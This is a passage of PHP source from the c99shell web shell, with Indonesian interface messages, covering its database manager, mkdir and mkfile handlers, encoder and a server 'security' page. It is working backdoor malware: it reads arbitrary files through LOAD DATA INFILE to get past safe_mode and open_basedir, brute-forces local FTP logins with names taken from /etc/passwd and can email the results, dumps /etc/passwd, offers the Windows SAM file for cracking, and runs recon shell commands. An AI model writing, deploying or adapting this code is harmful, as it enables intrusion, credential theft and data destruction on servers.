1321 echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
1322 $i++;
1323 }
1324 echo "</table><br>";
1325 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
1326 if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
1327 echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
1328 }
1329 }
1330 if ($sql_tbl_act == "browse")
1331 {
1332 $sql_tbl_ls = abs($sql_tbl_ls);
1333 $sql_tbl_le = abs($sql_tbl_le);
1334 echo "<hr size=\"1\" noshade>";
1335 echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> ";
1336 $b = 0;
1337 for($i=0;$i<$numpages;$i++)
1338 {
1339 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
1340 echo $i;
1341 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
1342 if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
1343 else {echo " ";}
1344 }
1345 if ($i == 0) {echo "empty";}
1346 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
1347 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
1348 echo "<tr>";
1349 echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
1350 for ($i=0;$i<mysql_num_fields($result);$i++)
1351 {
1352 $v = mysql_field_name($result,$i);
1353 if ($e[0] == "a") {$s = "d"; $m = "asc";}
1354 else {$s = "a"; $m = "desc";}
1355 echo "<td>";
1356 if (empty($e[0])) {$e[0] = "a";}
1357 if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
1358 else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
1359 echo "</td>";
1360 }
1361 echo "<td><font color=\"#00ff00\"><b>Action</b></font></td>";
1362 echo "</tr>";
1363 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
1364 {
1365 echo "<tr>";
1366 $w = "";
1367 $i = 0;
1368 foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
1369 if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
1370 echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
1371 $i = 0;
1372 foreach ($row as $k=>$v)
1373 {
1374 $v = htmlspecialchars($v);
1375 if ($v == "") {$v = "<font color=\"#00ff00\">NULL</font>";}
1376 echo "<td>".$v."</td>";
1377 $i++;
1378 }
1379 echo "<td>";
1380 echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> ";
1381 echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> ";
1382 echo "</td>";
1383 echo "</tr>";
1384 }
1385 mysql_free_result($result);
1386 echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
1387 echo "<option value=\"\">With selected:</option>";
1388 echo "<option value=\"deleterow\">Delete</option>";
1389 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
1390 }
1391 }
1392 else
1393 {
1394 $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
1395 if (!$result) {echo mysql_smarterror();}
1396 else
1397 {
1398 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
1399 $i = 0;
1400 $tsize = $trows = 0;
1401 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
1402 {
1403 $tsize += $row["Data_length"];
1404 $trows += $row["Rows"];
1405 $size = view_size($row["Data_length"]);
1406 echo "<tr>";
1407 echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
1408 echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>";
1409 echo "<td>".$row["Rows"]."</td>";
1410 echo "<td>".$row["Type"]."</td>";
1411 echo "<td>".$row["Create_time"]."</td>";
1412 echo "<td>".$row["Update_time"]."</td>";
1413 echo "<td>".$size."</td>";
1414 echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
1415 echo "</tr>";
1416 $i++;
1417 }
1418 echo "<tr bgcolor=\"000000\">";
1419 echo "<td><center><b>»</b></center></td>";
1420 echo "<td><center><b>".$i." table(s)</b></center></td>";
1421 echo "<td><b>".$trows."</b></td>";
1422 echo "<td>".$row[1]."</td>";
1423 echo "<td>".$row[10]."</td>";
1424 echo "<td>".$row[11]."</td>";
1425 echo "<td><b>".view_size($tsize)."</b></td>";
1426 echo "<td></td>";
1427 echo "</tr>";
1428 echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
1429 echo "<option value=\"\">With selected:</option>";
1430 echo "<option value=\"tbldrop\">Drop</option>";
1431 echo "<option value=\"tblempty\">Empty</option>";
1432 echo "<option value=\"tbldump\">Dump</option>";
1433 echo "<option value=\"tblcheck\">Check table</option>";
1434 echo "<option value=\"tbloptimize\">Optimize table</option>";
1435 echo "<option value=\"tblrepair\">Repair table</option>";
1436 echo "<option value=\"tblanalyze\">Analyze table</option>";
1437 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
1438 mysql_free_result($result);
1439 }
1440 }
1441 }
1442 }
1443 }
1444 else
1445 {
1446 $acts = array("","newdb","serverstatus","servervars","processes","getfile");
1447 if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
1448 if (!empty($sql_act))
1449 {
1450 echo "<hr size=\"1\" noshade>";
1451 if ($sql_act == "newdb")
1452 {
1453 echo "<b>";
1454 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
1455 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1456 }
1457 if ($sql_act == "serverstatus")
1458 {
1459 $result = mysql_query("SHOW STATUS", $sql_sock);
1460 echo "<center><b>Server-status variables:</b><br><br>";
1461 echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
1462 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1463 echo "</table></center>";
1464 mysql_free_result($result);
1465 }
1466 if ($sql_act == "servervars")
1467 {
1468 $result = mysql_query("SHOW VARIABLES", $sql_sock);
1469 echo "<center><b>Server variables:</b><br><br>";
1470 echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
1471 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1472 echo "</table>";
1473 mysql_free_result($result);
1474 }
1475 if ($sql_act == "processes")
1476 {
1477 if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
1478 $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
1479 echo "<center><b>Proses yang sedang berlangsung\t::</b><br><br>";
1480 echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
1481 while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
1482 echo "</table>";
1483 mysql_free_result($result);
1484 }
1485 if ($sql_act == "getfile")
1486 {
1487 $tmpdb = $sql_login."_tmpdb";
1488 $select = mysql_select_db($tmpdb);
1489 if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
1490 if ($select)
1491 {
1492 $created = FALSE;
1493 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1494 mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
1495 $result = mysql_query("SELECT * FROM tmp_file;");
1496 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
1497 else
1498 {
1499 for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
1500 $f = "";
1501 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
1502 if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
1503 else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
1504 mysql_free_result($result);
1505 mysql_query("DROP TABLE tmp_file;");
1506 }
1507 }
1508 mysql_drop_db($tmpdb); //comment it if you want to leave database
1509 }
1510 }
1511 }
1512 }
1513 echo "</td></tr></table>";
1514 if ($sql_sock)
1515 {
1516 $affected = @mysql_affected_rows($sql_sock);
1517 if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
1518 echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
1519 }
1520 echo "</table>";
1521}
1522if ($act == "mkdir")
1523{
1524 if ($mkdir != $d)
1525 {
1526 if (file_exists($mkdir)) {echo "<b>Lo mau bikin \"".htmlspecialchars($mkdir)."\"</b>...? <br>apa lo ga liat klo <font color=#ffff00>\"".htmlspecialchars($mkdir)."\"</font> udah ada...? goblok";}
1527 elseif (!mkdir($mkdir)) {echo "<b>sayangnya waktu bikin \"".htmlspecialchars($mkdir)."\"</b>, access denied";}
1528 echo "<br><br>";
1529 }
1530 $act = $dspact = "ls";
1531}
1532if ($act == "ftpquickbrute")
1533{
1534 echo "<b>Ftp Quick brute:</b><br>";
1535 if (!win) {echo "Fungsi ini ga jalan di w1nd0w$!<br><br>";}
1536 else
1537 {
1538 function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
1539 {
1540 if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
1541 else {$TRUE = TRUE;}
1542 if ($TRUE)
1543 {
1544 $sock = @ftp_connect($host,$port,$timeout);
1545 if (@ftp_login($sock,$login,$pass))
1546 {
1547 echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
1548 ob_flush();
1549 return TRUE;
1550 }
1551 }
1552 }
1553 if (!empty($submit))
1554 {
1555 if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
1556 $fp = fopen("/etc/passwd","r");
1557 if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
1558 else
1559 {
1560 if ($fqb_logging)
1561 {
1562 if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
1563 else {$fqb_logfp = FALSE;}
1564 $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
1565 if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1566 }
1567 ob_flush();
1568 $i = $success = 0;
1569 $ftpquick_st = getmicrotime();
1570 while(!feof($fp))
1571 {
1572 $str = explode(":",fgets($fp,2048));
1573 if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
1574 {
1575 echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
1576 $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
1577 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1578 $success++;
1579 ob_flush();
1580 }
1581 if ($i > $fqb_lenght) {break;}
1582 $i++;
1583 }
1584 if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
1585 $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
1586 echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=#00ff00><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
1587 $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
1588 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1589 if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
1590 fclose($fqb_logfp);
1591 }
1592 }
1593 else
1594 {
1595 $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
1596 $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
1597 echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell? <input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging? <input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file? <input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail? <input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
1598 }
1599 }
1600}
1601if ($act == "d")
1602{
1603 if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
1604 else
1605 {
1606 echo "<b>Informasi directory:</b><table border=0 cellspacing=1 cellpadding=2>";
1607 if (!$win)
1608 {
1609 echo "<tr><td><b>Owner/Group</b></td><td> ";
1610 $ow = posix_getpwuid(fileowner($d));
1611 $gr = posix_getgrgid(filegroup($d));
1612 $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
1613 }
1614 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
1615 }
1616}
1617if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
1618if ($act == "security")
1619{
1620 echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
1621 if (!$win)
1622 {
1623 if ($nixpasswd)
1624 {
1625 if ($nixpasswd == 1) {$nixpasswd = 0;}
1626 echo "<b>*nix /etc/passwd:</b><br>";
1627 if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
1628 if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
1629 echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>";
1630 $i = $nixpwd_s;
1631 while ($i < $nixpwd_e)
1632 {
1633 $uid = posix_getpwuid($i);
1634 if ($uid)
1635 {
1636 $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
1637 echo join(":",$uid)."<br>";
1638 }
1639 $i++;
1640 }
1641 }
1642 else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
1643 }
1644 else
1645 {
1646 $v = $_SERVER["WINDIR"]."\\repair\sam";
1647 if (file_get_contents($v)) {echo "<b><font color=#ff0000>You can't crack winnt passwords(".$v.") </font></b><br>";}
1648 else {echo "<b><font color=#00ff00>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";}
1649 }
1650 if (file_get_contents("/etc/userdomains")) {echo "<b><font color=#00ff00><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
1651 if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=#00ff00><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
1652 if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=#00ff00><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
1653 if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=#00ff00><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
1654 if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=#00ff00><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
1655 if (file_get_contents("/etc/motd")) {echo "<b><font color=#00ff00><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
1656 if (file_get_contents("/etc/hosts")) {echo "<b><font color=#00ff00><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
1657 function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
1658 displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
1659 displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
1660 displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
1661 displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
1662 displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
1663 displaysecinfo("RAM",myshellexec("free -m"));
1664 displaysecinfo("HDD space",myshellexec("df -h"));
1665 displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
1666 displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
1667 displaysecinfo("Is cURL installed?",myshellexec("which curl"));
1668 displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
1669 displaysecinfo("Is links installed?",myshellexec("which links"));
1670 displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
1671 displaysecinfo("Is GET installed?",myshellexec("which GET"));
1672 displaysecinfo("Is perl installed?",myshellexec("which perl"));
1673 displaysecinfo("Where is apache",myshellexec("whereis apache"));
1674 displaysecinfo("Where is perl?",myshellexec("whereis perl"));
1675 displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
1676 displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
1677 displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
1678 displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
1679}
1680if ($act == "mkfile")
1681{
1682 if ($mkfile != $d)
1683 {
1684 if (file_exists($mkfile)) {echo "<h5>Loe mau bikin \"<font color=#ffff00>".htmlspecialchars($mkfile)."</font>\" ...? <br>apa lo ga liat klo \"<font color=#ffff00>".htmlspecialchars($mkfile)."</font>\" udah ada...? geblek eta'</h5>";}
1685 elseif (!fopen($mkfile,"w")) {echo "<b>huehuehuehue, pas bikin \"<b>".htmlspecialchars($mkfile)."</b>\", access denied pak ";}
1686 else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
1687 }
1688 else {$act = $dspact = "ls";}
1689}
1690if ($act == "encoder")
1691{
1692 echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
1693 foreach(array("md5","crypt","sha1","crc32") as $v)
1694 {
1695 echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
1696 }
1697 echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
1698 <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
1699 <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
1700 echo "<center>base64_decode - ";
1701 if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
1702 else
1703 {
1704 $debase64 = base64_decode($encoder_input);
1705 $debase64 = str_replace("\0","[0]",$debase64);
1706 $a = explode("\r\n",$debase64);
1707 $rows = count($a);
1708 $debase64 = htmlspecialchars($debase64);
1709 if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
1710 else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
1711 echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
1712 }
1713 echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
1714 $c = strlen($encoder_input);
1715 for($i=0;$i<$c;$i++)
1716 {
1717 $hex = dechex(ord($encoder_input[$i]));
1718 if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
1719 elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
1720 }
1721 echo "\" readonly><br></center></form>";
1722}
1723if ($act == "fsbuff")
1724{
1725 $arr_copy = $sess_data["copy"];
1726 $arr_cut = $sess_data["cut"];
1727 $arr = array_merge($arr_copy,$arr_cut);
1728 if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
1729 else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
